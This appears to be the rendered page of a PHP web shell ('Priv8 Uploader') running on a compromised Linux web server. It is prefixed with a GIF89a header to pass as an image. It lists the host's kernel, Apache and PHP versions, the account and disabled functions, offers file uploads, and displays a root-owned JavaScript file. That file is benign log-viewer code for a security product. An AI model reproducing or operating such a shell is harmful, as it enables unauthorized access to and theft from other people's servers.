GIF89a;

Priv8 Uploader By InMyMine7

Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
HEX
HEX
Server: Apache/2.4.53 (Unix) OpenSSL/1.0.2k-fips
System: Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User: vacationcoursesc (1031)
PHP: 7.3.28
Disabled: NONE
Upload Files
File: //root/src/js/main.js
function getLogs() {
    var obj = {};
    if (prevLogsData != null) {
        obj['prevLogs'] = prevLogsData;
    }
    obj['getLogs'] = true;

    $.ajax({
        url: window.location.href,
        type: 'POST',
        data: obj,
        success: function (result) {
            var res = JSON.parse(result);
            for (var i = 0; i < res.logs.length; i++) {
                var row = decorateRow(res.logs[i]);
                $('#logContainer div').append(row + '<br>');
            }
            prevLogsData = JSON.stringify(res.logFilesDatas);
            if (res.logs.length != 0) {
                $('#logContainer').scrollTop($('#logContainer')[0].scrollHeight);
            }

        }
    });
}

function decorateRow(row) {
    var rowItems = row.match(/(\[([^\s]+)]) ([\s\S]*)/);
    if (rowItems != null) {
        var row = '<span class="severity">[' + rowItems[2] + '] </span><span class="' + rowItems[2] + '">' + rowItems[3] + '</span>';
        row = row.replace(/\[(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)\]/, '<a target="_blank" href="https://admin.bitninja.io/search/index/search/ip/criteria/$1">[$1]</a>');
    }
    return row;
}

function stop() {
    $('#menu .ajaxLoader').show();
    $.ajax({
        url: window.location.href,
        type: "POST",
        data: {stop: 1},
    });
    setTimeout(function () {
        window.location.href = window.location.href
    }, 5000);
}

function start() {
    $('#menu .ajaxLoader').show();
    $.ajax({
        url: window.location.href,
        type: "POST",
        data: {
            start: 1
        },
    });
    setTimeout(function () {
        window.location.href = window.location.href
    }, 10000);
}

function playLog(element) {
    $('#logContainer').css('overflow-y', 'hidden');
    $(element).attr('class', 'pause tooltips');
    $(element).attr('data-original-title', 'Pause');
    $(element).attr('onclick', 'pauseLog(this);');
    logEvents = setInterval(function () {
        getLogs();
    }, 200);
    $('#logContainer').scrollTop($('#logContainer')[0].scrollHeight);
}

function pauseLog(element) {
    $('#logContainer').css('overflow-y', 'auto');
    $(element).attr('class', 'play tooltips');
    $(element).attr('data-original-title', 'Play');
    $(element).attr('onclick', 'playLog(this);');
    clearInterval(logEvents);
}

function checkGL(element) {
    var $form = $(element).parents('form.check-greylist');
    var res;

    $.ajax({
        url: window.location.href,
        type: 'POST',
        data: $form.serialize(),
        beforeSend: function () {
            $('form.check-greylist #response').text('');
        },
        success: function (result) {
            res = JSON.parse(result);
            $('form.check-greylist div#response').text(res.message);
            if (res.success) {
                $('form.check-greylist #response').attr('class', 'success');
            } else {
                $('form.check-greylist #response').attr('class', 'error');
            }

        }

    });
}